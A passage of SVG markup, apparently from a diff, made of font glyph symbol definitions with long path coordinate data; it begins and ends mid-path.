-10.34375 5.914062 -10.28125 6.375 -10.15625 C 6.84375 -10.039062 7.253906 -9.898438 7.609375 -9.734375 Z M 6.140625 -8.703125 C 5.734375 -8.921875 5.210938 -9.03125 4.578125 -9.03125 C 3.878906 -9.03125 3.320312 -8.710938 2.90625 -8.078125 C 2.488281 -7.453125 2.28125 -6.445312 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.960938 2.375 -3.484375 C 2.445312 -3.003906 2.5625 -2.582031 2.71875 -2.21875 C 2.882812 -1.863281 3.09375 -1.585938 3.34375 -1.390625 C 3.59375 -1.191406 3.898438 -1.09375 4.265625 -1.09375 C 4.785156 -1.09375 5.191406 -1.226562 5.484375 -1.5 C 5.785156 -1.769531 6.003906 -2.175781 6.140625 -2.71875 Z M 6.140625 -8.703125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-19"> +<path style="stroke:none;" d="M 3.71875 -3.59375 L 4.140625 -1.625 L 4.25 -1.625 L 4.546875 -3.59375 L 6.09375 -10.15625 L 7.578125 -10.15625 L 5.15625 -1.03125 C 4.96875 -0.300781 4.78125 0.378906 4.59375 1.015625 C 4.40625 1.648438 4.195312 2.203125 3.96875 2.671875 C 3.75 3.140625 3.5 3.503906 3.21875 3.765625 C 2.945312 4.035156 2.617188 4.171875 2.234375 4.171875 C 1.859375 4.171875 1.523438 4.109375 1.234375 3.984375 L 1.484375 2.609375 C 1.671875 2.671875 1.859375 2.679688 2.046875 2.640625 C 2.242188 2.597656 2.425781 2.484375 2.59375 2.296875 C 2.757812 2.109375 2.910156 1.828125 3.046875 1.453125 C 3.191406 1.078125 3.320312 0.59375 3.4375 0 L 0.140625 -10.15625 L 1.8125 -10.15625 Z M 3.71875 -3.59375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-20"> +<path style="stroke:none;" d="M 8.734375 -0.546875 C 8.398438 -0.265625 7.972656 -0.0625 7.453125 0.0625 C 6.941406 0.1875 6.398438 0.25 5.828125 0.25 C 5.109375 0.25 4.441406 0.113281 3.828125 -0.15625 C 3.222656 -0.425781 2.703125 -0.859375 2.265625 -1.453125 C 1.828125 -2.046875 1.484375 -2.804688 1.234375 -3.734375 C 0.992188 -4.671875 0.875 -5.796875 0.875 -7.109375 C 0.875 -8.460938 1.007812 -9.609375 1.28125 -10.546875 C 1.5625 -11.484375 1.929688 -12.242188 2.390625 -12.828125 C 2.859375 -13.410156 3.394531 -13.828125 4 -14.078125 C 4.601562 -14.335938 5.222656 -14.46875 5.859375 -14.46875 C 6.503906 -14.46875 7.039062 -14.421875 7.46875 -14.328125 C 7.894531 -14.234375 8.265625 -14.117188 8.578125 -13.984375 L 8.21875 -12.609375 C 7.945312 -12.753906 7.625 -12.867188 7.25 -12.953125 C 6.882812 -13.035156 6.46875 -13.078125 6 -13.078125 C 5.519531 -13.078125 5.070312 -12.96875 4.65625 -12.75 C 4.238281 -12.539062 3.863281 -12.203125 3.53125 -11.734375 C 3.207031 -11.265625 2.953125 -10.648438 2.765625 -9.890625 C 2.578125 -9.140625 2.484375 -8.210938 2.484375 -7.109375 C 2.484375 -5.128906 2.820312 -3.640625 3.5 -2.640625 C 4.175781 -1.648438 5.078125 -1.15625 6.203125 -1.15625 C 6.660156 -1.15625 7.070312 -1.21875 7.4375 -1.34375 C 7.800781 -1.476562 8.113281 -1.632812 8.375 -1.8125 Z M 8.734375 -0.546875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-21"> +<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-22"> +<path style="stroke:none;" d="M 1.46875 -10.15625 L 2.921875 -10.15625 L 2.921875 0.546875 C 2.921875 1.941406 2.695312 2.945312 2.25 3.5625 C 1.800781 4.1875 1.078125 4.421875 0.078125 4.265625 L 0.078125 2.953125 C 0.378906 2.953125 0.617188 2.890625 0.796875 2.765625 C 0.984375 2.640625 1.125 2.453125 1.21875 2.203125 C 1.320312 1.953125 1.390625 1.640625 1.421875 1.265625 C 1.453125 0.898438 1.46875 0.460938 1.46875 -0.046875 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/> +</symbol> +<symbol overflow="visible" id="glyph0-23"> +<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.734375 -14.207031 2.195312 -14.285156 2.6875 -14.328125 C 3.175781 -14.367188 3.65625 -14.390625 4.125 -14.390625 C 4.664062 -14.390625 5.203125 -14.328125 5.734375 -14.203125 C 6.265625 -14.085938 6.742188 -13.863281 7.171875 -13.53125 C 7.597656 -13.207031 7.941406 -12.757812 8.203125 -12.1875 C 8.460938 -11.625 8.59375 -10.898438 8.59375 -10.015625 C 8.59375 -9.160156 8.46875 -8.4375 8.21875 -7.84375 C 7.96875 -7.25 7.632812 -6.765625 7.21875 -6.390625 C 6.8125 -6.015625 6.335938 -5.742188 5.796875 -5.578125 C 5.265625 -5.410156 4.710938 -5.328125 4.140625 -5.328125 C 4.085938 -5.328125 4 -5.328125 3.875 -5.328125 C 3.757812 -5.328125 3.632812 -5.328125 3.5 -5.328125 C 3.363281 -5.335938 3.226562 -5.347656 3.09375 -5.359375 C 2.96875 -5.378906 2.878906 -5.394531 2.828125 -5.40625 L 2.828125 0 L 1.296875 0 Z M 4.203125 -12.984375 C 3.929688 -12.984375 3.671875 -12.972656 3.421875 -12.953125 C 3.171875 -12.929688 2.972656 -12.90625 2.828125 -12.875 L 2.828125 -6.8125 C 2.878906 -6.78125 2.960938 -6.757812 3.078125 -6.75 C 3.191406 -6.75 3.3125 -6.742188 3.4375 -6.734375 C 3.5625 -6.734375 3.679688 -6.734375 3.796875 -6.734375 C 3.910156 -6.734375 3.992188 -6.734375 4.046875 -6.734375 C 4.421875 -6.734375 4.785156 -6.78125 5.140625 -6.875 C 5.492188 -6.96875 5.804688 -7.140625 6.078125 -7.390625 C 6.347656 -7.640625 6.566406 -7.976562 6.734375 -8.40625 C 6.910156 -8.832031 7 -9.367188 7 -10.015625 C 7 -10.585938 6.921875 -11.0625 6.765625 -11.4375 C 6.609375 -11.820312 6.398438 -12.128906 6.140625 -12.359375 C 5.890625 -12.585938 5.59375 -12.75 5.25 -12.84375 C 4.914062 -12.9375 4.566406 -12.984375 4.203125 -12.984375 Z M 4.203125 -12.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-0"> +<path style="stroke:none;" d="M 0.734375 -10.265625 L 10.265625 -10.265625 L 10.265625 0 L 0.734375 0 Z M 8.359375 -9.09375 L 5.5 -5.90625 L 2.640625 -9.09375 L 1.90625 -8.359375 L 4.796875 -5.140625 L 1.90625 -1.90625 L 2.640625 -1.171875 L 5.5 -4.359375 L 8.359375 -1.171875 L 9.09375 -1.90625 L 6.1875 -5.140625 L 9.09375 -8.359375 Z M 1.890625 -0.390625 L 2.015625 -0.390625 L 2.015625 -0.578125 L 2.0625 -0.578125 C 2.125 -0.578125 2.175781 -0.585938 2.21875 -0.609375 C 2.269531 -0.628906 2.296875 -0.675781 2.296875 -0.75 C 2.296875 -0.820312 2.269531 -0.867188 2.21875 -0.890625 C 2.164062 -0.910156 2.109375 -0.921875 2.046875 -0.921875 L 1.890625 -0.921875 Z M 2.0625 -0.84375 C 2.144531 -0.84375 2.1875 -0.816406 2.1875 -0.765625 C 2.1875 -0.710938 2.171875 -0.679688 2.140625 -0.671875 C 2.117188 -0.671875 2.085938 -0.671875 2.046875 -0.671875 L 2.015625 -0.671875 L 2.015625 -0.84375 Z M 2.765625 -0.921875 L 2.3125 -0.921875 L 2.3125 -0.84375 L 2.5 -0.84375 L 2.5 -0.390625 L 2.59375 -0.390625 L 2.59375 -0.84375 L 2.765625 -0.84375 Z M 3.25 -0.546875 C 3.25 -0.503906 3.21875 -0.484375 3.15625 -0.484375 C 3.082031 -0.484375 3.035156 -0.492188 3.015625 -0.515625 L 2.984375 -0.40625 C 2.992188 -0.40625 3.015625 -0.398438 3.046875 -0.390625 C 3.078125 -0.378906 3.117188 -0.375 3.171875 -0.375 C 3.304688 -0.375 3.375 -0.4375 3.375 -0.5625 C 3.375 -0.644531 3.328125 -0.691406 3.234375 -0.703125 C 3.148438 -0.710938 3.109375 -0.742188 3.109375 -0.796875 C 3.109375 -0.828125 3.140625 -0.84375 3.203125 -0.84375 C 3.242188 -0.84375 3.285156 -0.832031 3.328125 -0.8125 L 3.359375 -0.90625 C 3.296875 -0.925781 3.242188 -0.9375 3.203125 -0.9375 C 3.066406 -0.9375 3 -0.882812 3 -0.78125 C 3 -0.726562 3.007812 -0.691406 3.03125 -0.671875 C 3.0625 -0.648438 3.09375 -0.628906 3.125 -0.609375 C 3.15625 -0.597656 3.179688 -0.585938 3.203125 -0.578125 C 3.234375 -0.578125 3.25 -0.566406 3.25 -0.546875 Z M 3.484375 -0.6875 C 3.515625 -0.707031 3.554688 -0.71875 3.609375 -0.71875 C 3.660156 -0.71875 3.6875 -0.695312 3.6875 -0.65625 L 3.6875 -0.625 C 3.675781 -0.625 3.664062 -0.625 3.65625 -0.625 C 3.644531 -0.632812 3.628906 -0.640625 3.609375 -0.640625 C 3.492188 -0.640625 3.4375 -0.59375 3.4375 -0.5 C 3.4375 -0.414062 3.472656 -0.375 3.546875 -0.375 C 3.609375 -0.375 3.65625 -0.398438 3.6875 -0.453125 L 3.71875 -0.390625 L 3.796875 -0.390625 C 3.785156 -0.410156 3.78125 -0.445312 3.78125 -0.5 L 3.78125 -0.65625 C 3.78125 -0.757812 3.734375 -0.8125 3.640625 -0.8125 C 3.597656 -0.8125 3.5625 -0.804688 3.53125 -0.796875 C 3.5 -0.785156 3.472656 -0.773438 3.453125 -0.765625 Z M 3.59375 -0.46875 C 3.550781 -0.46875 3.53125 -0.488281 3.53125 -0.53125 C 3.53125 -0.570312 3.554688 -0.59375 3.609375 -0.59375 C 3.628906 -0.59375 3.644531 -0.585938 3.65625 -0.578125 C 3.664062 -0.578125 3.675781 -0.578125 3.6875 -0.578125 L 3.6875 -0.53125 C 3.664062 -0.488281 3.632812 -0.46875 3.59375 -0.46875 Z M 4.28125 -0.390625 L 4.28125 -0.625 C 4.28125 -0.75 4.238281 -0.8125 4.15625 -0.8125 C 4.082031 -0.8125 4.03125 -0.785156 4 -0.734375 L 3.96875 -0.796875 L 3.90625 -0.796875 L 3.90625 -0.390625 L 4 -0.390625 L 4 -0.640625 C 4.019531 -0.679688 4.050781 -0.703125 4.09375 -0.703125 C 4.144531 -0.703125 4.171875 -0.671875 4.171875 -0.609375 L 4.171875 -0.390625 Z M 4.359375 -0.40625 C 4.398438 -0.382812 4.445312 -0.375 4.5 -0.375 C 4.613281 -0.375 4.671875 -0.421875 4.671875 -0.515625 C 4.671875 -0.566406 4.65625 -0.59375 4.625 -0.59375 C 4.601562 -0.601562 4.578125 -0.617188 4.546875 -0.640625 C 4.492188 -0.660156 4.46875 -0.675781 4.46875 -0.6875 C 4.46875 -0.707031 4.484375 -0.71875 4.515625 -0.71875 C 4.554688 -0.71875 4.597656 -0.707031 4.640625 -0.6875 L 4.671875 -0.78125 C 4.628906 -0.800781 4.578125 -0.8125 4.515625 -0.8125 C 4.421875 -0.8125 4.375 -0.765625 4.375 -0.671875 C 4.375 -0.617188 4.382812 -0.585938 4.40625 -0.578125 C 4.4375 -0.566406 4.460938 -0.554688 4.484375 -0.546875 C 4.535156 -0.546875 4.5625 -0.53125 4.5625 -0.5 C 4.5625 -0.476562 4.546875 -0.46875 4.515625 -0.46875 C 4.472656 -0.46875 4.429688 -0.476562 4.390625 -0.5 Z M 4.953125 -0.609375 C 4.953125 -0.410156 5.050781 -0.3125 5.25 -0.3125 C 5.445312 -0.3125 5.546875 -0.410156 5.546875 -0.609375 C 5.546875 -0.804688 5.445312 -0.90625 5.25 -0.90625 C 5.175781 -0.90625 5.109375 -0.878906 5.046875 -0.828125 C 4.984375 -0.773438 4.953125 -0.703125 4.953125 -0.609375 Z M 5.046875 -0.609375 C 5.046875 -0.765625 5.113281 -0.84375 5.25 -0.84375 C 5.382812 -0.84375 5.453125 -0.765625 5.453125 -0.609375 C 5.453125 -0.460938 5.382812 -0.390625 5.25 -0.390625 C 5.113281 -0.390625 5.046875 -0.460938 5.046875 -0.609375 Z M 5.34375 -0.5625 C 5.320312 -0.550781 5.300781 -0.546875 5.28125 -0.546875 C 5.238281 -0.546875 5.21875 -0.566406 5.21875 -0.609375 C 5.21875 -0.648438 5.238281 -0.671875 5.28125 -0.671875 L 5.328125 -0.671875 L 5.359375 -0.734375 C 5.316406 -0.753906 5.28125 -0.765625 5.25 -0.765625 C 5.164062 -0.765625 5.125 -0.710938 5.125 -0.609375 C 5.125 -0.503906 5.164062 -0.453125 5.25 -0.453125 C 5.300781 -0.453125 5.335938 -0.460938 5.359375 -0.484375 Z M 5.859375 -0.390625 L 5.96875 -0.390625 L 5.96875 -0.578125 L 6.03125 -0.578125 C 6.09375 -0.578125 6.144531 -0.585938 6.1875 -0.609375 C 6.238281 -0.628906 6.265625 -0.675781 6.265625 -0.75 C 6.265625 -0.820312 6.238281 -0.867188 6.1875 -0.890625 C 6.132812 -0.910156 6.078125 -0.921875 6.015625 -0.921875 L 5.859375 -0.921875 Z M 6.03125 -0.84375 C 6.101562 -0.84375 6.140625 -0.816406 6.140625 -0.765625 C 6.140625 -0.710938 6.128906 -0.679688 6.109375 -0.671875 C 6.085938 -0.671875 6.054688 -0.671875 6.015625 -0.671875 L 5.96875 -0.671875 L 5.96875 -0.84375 Z M 6.34375 -0.6875 C 6.375 -0.707031 6.414062 -0.71875 6.46875 -0.71875 C 6.519531 -0.71875 6.546875 -0.695312 6.546875 -0.65625 L 6.546875 -0.625 C 6.535156 -0.625 6.523438 -0.625 6.515625 -0.625 C 6.503906 -0.632812 6.488281 -0.640625 6.46875 -0.640625 C 6.34375 -0.640625 6.28125 -0.59375 6.28125 -0.5 C 6.28125 -0.414062 6.320312 -0.375 6.40625 -0.375 C 6.46875 -0.375 6.515625 -0.398438 6.546875 -0.453125 L 6.578125 -0.390625 L 6.65625 -0.390625 C 6.644531 -0.410156 6.640625 -0.445312 6.640625 -0.5 L 6.640625 -0.65625 C 6.640625 -0.757812 6.59375 -0.8125 6.5 -0.8125 C 6.457031 -0.8125 6.421875 -0.804688 6.390625 -0.796875 C 6.359375 -0.785156 6.332031 -0.773438 6.3125 -0.765625 Z M 6.453125 -0.46875 C 6.410156 -0.46875 6.390625 -0.488281 6.390625 -0.53125 C 6.390625 -0.570312 6.414062 -0.59375 6.46875 -0.59375 C 6.488281 -0.59375 6.503906 -0.585938 6.515625 -0.578125 C 6.523438 -0.578125 6.535156 -0.578125 6.546875 -0.578125 L 6.546875 -0.53125 C 6.523438 -0.488281 6.492188 -0.46875 6.453125 -0.46875 Z M 7.015625 -0.796875 C 7.003906 -0.804688 6.984375 -0.8125 6.953125 -0.8125 C 6.910156 -0.8125 6.878906 -0.785156 6.859375 -0.734375 L 6.84375 -0.796875 L 6.75 -0.796875 L 6.75 -0.390625 L 6.859375 -0.390625 L 6.859375 -0.640625 C 6.859375 -0.679688 6.890625 -0.703125 6.953125 -0.703125 L 6.96875 -0.703125 C 6.976562 -0.703125 6.984375 -0.695312 6.984375 -0.6875 C 6.984375 -0.6875 6.988281 -0.6875 7 -0.6875 Z M 7.09375 -0.6875 C 7.144531 -0.707031 7.1875 -0.71875 7.21875 -0.71875 C 7.269531 -0.71875 7.296875 -0.695312 7.296875 -0.65625 L 7.296875 -0.625 C 7.285156 -0.625 7.273438 -0.625 7.265625 -0.625 C 7.253906 -0.632812 7.238281 -0.640625 7.21875 -0.640625 C 7.09375 -0.640625 7.03125 -0.59375 7.03125 -0.5 C 7.03125 -0.414062 7.070312 -0.375 7.15625 -0.375 C 7.226562 -0.375 7.273438 -0.398438 7.296875 -0.453125 L 7.3125 -0.453125 L 7.328125 -0.390625 L 7.40625 -0.390625 C 7.394531 -0.410156 7.390625 -0.445312 7.390625 -0.5 L 7.390625 -0.65625 C 7.390625 -0.757812 7.34375 -0.8125 7.25 -0.8125 C 7.207031 -0.8125 7.171875 -0.804688 7.140625 -0.796875 C 7.109375 -0.785156 7.085938 -0.773438 7.078125 -0.765625 Z M 7.203125 -0.46875 C 7.160156 -0.46875 7.140625 -0.488281 7.140625 -0.53125 C 7.140625 -0.570312 7.164062 -0.59375 7.21875 -0.59375 C 7.238281 -0.59375 7.253906 -0.585938 7.265625 -0.578125 C 7.273438 -0.578125 7.285156 -0.578125 7.296875 -0.578125 L 7.296875 -0.53125 C 7.273438 -0.488281 7.242188 -0.46875 7.203125 -0.46875 Z M 7.8125 -0.921875 L 7.359375 -0.921875 L 7.359375 -0.84375 L 7.53125 -0.84375 L 7.53125 -0.390625 L 7.640625 -0.390625 L 7.640625 -0.84375 L 7.8125 -0.84375 Z M 7.9375 -0.796875 L 7.8125 -0.796875 L 8 -0.390625 C 7.988281 -0.347656 7.960938 -0.328125 7.921875 -0.328125 L 7.90625 -0.34375 L 7.875 -0.25 C 7.894531 -0.238281 7.921875 -0.234375 7.953125 -0.234375 C 8.003906 -0.234375 8.050781 -0.296875 8.09375 -0.421875 L 8.25 -0.796875 L 8.125 -0.796875 L 8.0625 -0.578125 L 8.0625 -0.5 L 8.046875 -0.5 L 8.03125 -0.578125 Z M 8.296875 -0.234375 L 8.40625 -0.234375 L 8.40625 -0.40625 C 8.414062 -0.382812 8.441406 -0.375 8.484375 -0.375 C 8.617188 -0.375 8.6875 -0.445312 8.6875 -0.59375 C 8.6875 -0.738281 8.632812 -0.8125 8.53125 -0.8125 C 8.476562 -0.8125 8.429688 -0.789062 8.390625 -0.75 L 8.375 -0.75 L 8.359375 -0.796875 L 8.296875 -0.796875 Z M 8.5 -0.71875 C 8.539062 -0.71875 8.5625 -0.675781 8.5625 -0.59375 C 8.5625 -0.507812 8.53125 -0.46875 8.46875 -0.46875 C 8.445312 -0.46875 8.425781 -0.476562 8.40625 -0.5 L 8.40625 -0.640625 C 8.40625 -0.691406 8.4375 -0.71875 8.5 -0.71875 Z M 9.0625 -0.5 C 9.039062 -0.476562 9.007812 -0.46875 8.96875 -0.46875 C 8.894531 -0.46875 8.851562 -0.5 8.84375 -0.5625 L 9.125 -0.5625 L 9.125 -0.640625 C 9.125 -0.703125 9.101562 -0.742188 9.0625 -0.765625 C 9.03125 -0.796875 8.992188 -0.8125 8.953125 -0.8125 C 8.816406 -0.8125 8.75 -0.738281 8.75 -0.59375 C 8.75 -0.445312 8.816406 -0.375 8.953125 -0.375 C 8.984375 -0.375 9.007812 -0.378906 9.03125 -0.390625 C 9.0625 -0.398438 9.085938 -0.410156 9.109375 -0.421875 Z M 8.953125 -0.71875 C 9.003906 -0.71875 9.023438 -0.6875 9.015625 -0.625 L 8.859375 -0.625 C 8.859375 -0.6875 8.890625 -0.71875 8.953125 -0.71875 Z M 8.953125 -0.71875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-1"> +<path style="stroke:none;" d="M 1.046875 -7.328125 L 2.09375 -7.328125 L 2.09375 0 L 1.046875 0 Z M 0.84375 -9.5625 C 0.84375 -9.800781 0.910156 -9.992188 1.046875 -10.140625 C 1.179688 -10.285156 1.351562 -10.359375 1.5625 -10.359375 C 1.78125 -10.359375 1.957031 -10.285156 2.09375 -10.140625 C 2.238281 -10.003906 2.3125 -9.8125 2.3125 -9.5625 C 2.3125 -9.332031 2.238281 -9.148438 2.09375 -9.015625 C 1.957031 -8.878906 1.78125 -8.8125 1.5625 -8.8125 C 1.351562 -8.8125 1.179688 -8.878906 1.046875 -9.015625 C 0.910156 -9.160156 0.84375 -9.34375 0.84375 -9.5625 Z M 0.84375 -9.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-2"> +<path style="stroke:none;" d="M 5.484375 -2.53125 C 5.484375 -2.03125 5.488281 -1.578125 5.5 -1.171875 C 5.507812 -0.765625 5.546875 -0.363281 5.609375 0.03125 L 4.890625 0.03125 L 4.65625 -0.84375 L 4.59375 -0.84375 C 4.457031 -0.550781 4.238281 -0.304688 3.9375 -0.109375 C 3.644531 0.078125 3.296875 0.171875 2.890625 0.171875 C 2.097656 0.171875 1.507812 -0.132812 1.125 -0.75 C 0.738281 -1.363281 0.546875 -2.332031 0.546875 -3.65625 C 0.546875 -4.90625 0.78125 -5.851562 1.25 -6.5 C 1.726562 -7.144531 2.382812 -7.46875 3.21875 -7.46875 C 3.5 -7.46875 3.722656 -7.445312 3.890625 -7.40625 C 4.054688 -7.375 4.238281 -7.320312 4.4375 -7.25 L 4.4375 -10.265625 L 5.484375 -10.265625 Z M 4.4375 -6.171875 C 4.289062 -6.296875 4.132812 -6.382812 3.96875 -6.4375 C 3.800781 -6.488281 3.570312 -6.515625 3.28125 -6.515625 C 2.769531 -6.515625 2.367188 -6.28125 2.078125 -5.8125 C 1.785156 -5.34375 1.640625 -4.617188 1.640625 -3.640625 C 1.640625 -3.210938 1.664062 -2.820312 1.71875 -2.46875 C 1.769531 -2.125 1.851562 -1.820312 1.96875 -1.5625 C 2.082031 -1.3125 2.226562 -1.117188 2.40625 -0.984375 C 2.59375 -0.847656 2.816406 -0.78125 3.078125 -0.78125 C 3.785156 -0.78125 4.238281 -1.195312 4.4375 -2.03125 Z M 4.4375 -6.171875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-3"> +<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.46875 C 4.625 -5.207031 4.535156 -5.738281 4.359375 -6.0625 C 4.191406 -6.394531 3.890625 -6.5625 3.453125 -6.5625 C 3.054688 -6.5625 2.726562 -6.441406 2.46875 -6.203125 C 2.21875 -5.972656 2.035156 -5.6875 1.921875 -5.34375 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.625 -7.328125 L 1.8125 -6.5625 L 1.859375 -6.5625 C 2.046875 -6.820312 2.296875 -7.046875 2.609375 -7.234375 C 2.929688 -7.421875 3.3125 -7.515625 3.75 -7.515625 C 4.0625 -7.515625 4.335938 -7.46875 4.578125 -7.375 C 4.816406 -7.289062 5.015625 -7.140625 5.171875 -6.921875 C 5.335938 -6.710938 5.460938 -6.429688 5.546875 -6.078125 C 5.628906 -5.734375 5.671875 -5.289062 5.671875 -4.75 L 5.671875 0 Z M 4.625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-4"> +<path style="stroke:none;" d="M 0.796875 -6.890625 C 1.078125 -7.066406 1.421875 -7.203125 1.828125 -7.296875 C 2.234375 -7.398438 2.660156 -7.453125 3.109375 -7.453125 C 3.523438 -7.453125 3.851562 -7.390625 4.09375 -7.265625 C 4.34375 -7.148438 4.539062 -6.984375 4.6875 -6.765625 C 4.832031 -6.554688 4.925781 -6.316406 4.96875 -6.046875 C 5.007812 -5.785156 5.03125 -5.503906 5.03125 -5.203125 C 5.03125 -4.617188 5.015625 -4.046875 4.984375 -3.484375 C 4.960938 -2.929688 4.953125 -2.40625 4.953125 -1.90625 C 4.953125 -1.53125 4.960938 -1.179688 4.984375 -0.859375 C 5.015625 -0.546875 5.066406 -0.25 5.140625 0.03125 L 4.328125 0.03125 L 4.078125 -0.84375 L 4.015625 -0.84375 C 3.867188 -0.582031 3.65625 -0.359375 3.375 -0.171875 C 3.09375 0.015625 2.710938 0.109375 2.234375 0.109375 C 1.703125 0.109375 1.265625 -0.0703125 0.921875 -0.4375 C 0.585938 -0.8125 0.421875 -1.320312 0.421875 -1.96875 C 0.421875 -2.382812 0.488281 -2.734375 0.625 -3.015625 C 0.769531 -3.304688 0.972656 -3.535156 1.234375 -3.703125 C 1.492188 -3.878906 1.800781 -4.003906 2.15625 -4.078125 C 2.519531 -4.160156 2.921875 -4.203125 3.359375 -4.203125 C 3.453125 -4.203125 3.546875 -4.203125 3.640625 -4.203125 C 3.742188 -4.203125 3.851562 -4.195312 3.96875 -4.1875 C 3.988281 -4.488281 4 -4.753906 4 -4.984375 C 4 -5.546875 3.914062 -5.9375 3.75 -6.15625 C 3.582031 -6.382812 3.28125 -6.5 2.84375 -6.5 C 2.570312 -6.5 2.273438 -6.457031 1.953125 -6.375 C 1.628906 -6.289062 1.359375 -6.1875 1.140625 -6.0625 Z M 3.96875 -3.34375 C 3.875 -3.351562 3.773438 -3.359375 3.671875 -3.359375 C 3.578125 -3.367188 3.484375 -3.375 3.390625 -3.375 C 3.148438 -3.375 2.914062 -3.351562 2.6875 -3.3125 C 2.46875 -3.269531 2.269531 -3.203125 2.09375 -3.109375 C 1.914062 -3.015625 1.773438 -2.882812 1.671875 -2.71875 C 1.578125 -2.550781 1.53125 -2.335938 1.53125 -2.078125 C 1.53125 -1.691406 1.625 -1.390625 1.8125 -1.171875 C 2 -0.953125 2.242188 -0.84375 2.546875 -0.84375 C 2.960938 -0.84375 3.28125 -0.941406 3.5 -1.140625 C 3.726562 -1.335938 3.882812 -1.554688 3.96875 -1.796875 Z M 3.96875 -3.34375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-5"> +<path style="stroke:none;" d="M 4.296875 0 L 4.296875 -4.359375 C 4.296875 -4.742188 4.28125 -5.078125 4.25 -5.359375 C 4.226562 -5.640625 4.175781 -5.867188 4.09375 -6.046875 C 4.019531 -6.222656 3.914062 -6.351562 3.78125 -6.4375 C 3.644531 -6.519531 3.46875 -6.5625 3.25 -6.5625 C 2.914062 -6.5625 2.628906 -6.429688 2.390625 -6.171875 C 2.160156 -5.910156 2.003906 -5.613281 1.921875 -5.28125 L 1.921875 0 L 0.859375 0 L 0.859375 -7.328125 L 1.609375 -7.328125 L 1.796875 -6.5625 L 1.84375 -6.5625 C 2.050781 -6.84375 2.296875 -7.070312 2.578125 -7.25 C 2.859375 -7.425781 3.222656 -7.515625 3.671875 -7.515625 C 4.035156 -7.515625 4.335938 -7.429688 4.578125 -7.265625 C 4.816406 -7.109375 5.007812 -6.820312 5.15625 -6.40625 C 5.320312 -6.75 5.566406 -7.019531 5.890625 -7.21875 C 6.222656 -7.414062 6.585938 -7.515625 6.984375 -7.515625 C 7.304688 -7.515625 7.582031 -7.472656 7.8125 -7.390625 C 8.039062 -7.304688 8.222656 -7.15625 8.359375 -6.9375 C 8.503906 -6.726562 8.609375 -6.453125 8.671875 -6.109375 C 8.742188 -5.765625 8.78125 -5.328125 8.78125 -4.796875 L 8.78125 0 L 7.734375 0 L 7.734375 -4.671875 C 7.734375 -5.304688 7.671875 -5.78125 7.546875 -6.09375 C 7.421875 -6.40625 7.140625 -6.5625 6.703125 -6.5625 C 6.328125 -6.5625 6.03125 -6.445312 5.8125 -6.21875 C 5.59375 -5.988281 5.441406 -5.675781 5.359375 -5.28125 L 5.359375 0 Z M 4.296875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-6"> +<path style="stroke:none;" d="M 5.25 -0.5 C 5.019531 -0.28125 4.722656 -0.113281 4.359375 0 C 3.992188 0.113281 3.613281 0.171875 3.21875 0.171875 C 2.757812 0.171875 2.359375 0.0820312 2.015625 -0.09375 C 1.679688 -0.269531 1.398438 -0.523438 1.171875 -0.859375 C 0.953125 -1.203125 0.789062 -1.609375 0.6875 -2.078125 C 0.59375 -2.546875 0.546875 -3.078125 0.546875 -3.671875 C 0.546875 -4.921875 0.773438 -5.875 1.234375 -6.53125 C 1.691406 -7.1875 2.34375 -7.515625 3.1875 -7.515625 C 3.457031 -7.515625 3.726562 -7.476562 4 -7.40625 C 4.269531 -7.34375 4.507812 -7.207031 4.71875 -7 C 4.9375 -6.789062 5.109375 -6.5 5.234375 -6.125 C 5.367188 -5.757812 5.4375 -5.28125 5.4375 -4.6875 C 5.4375 -4.519531 5.429688 -4.335938 5.421875 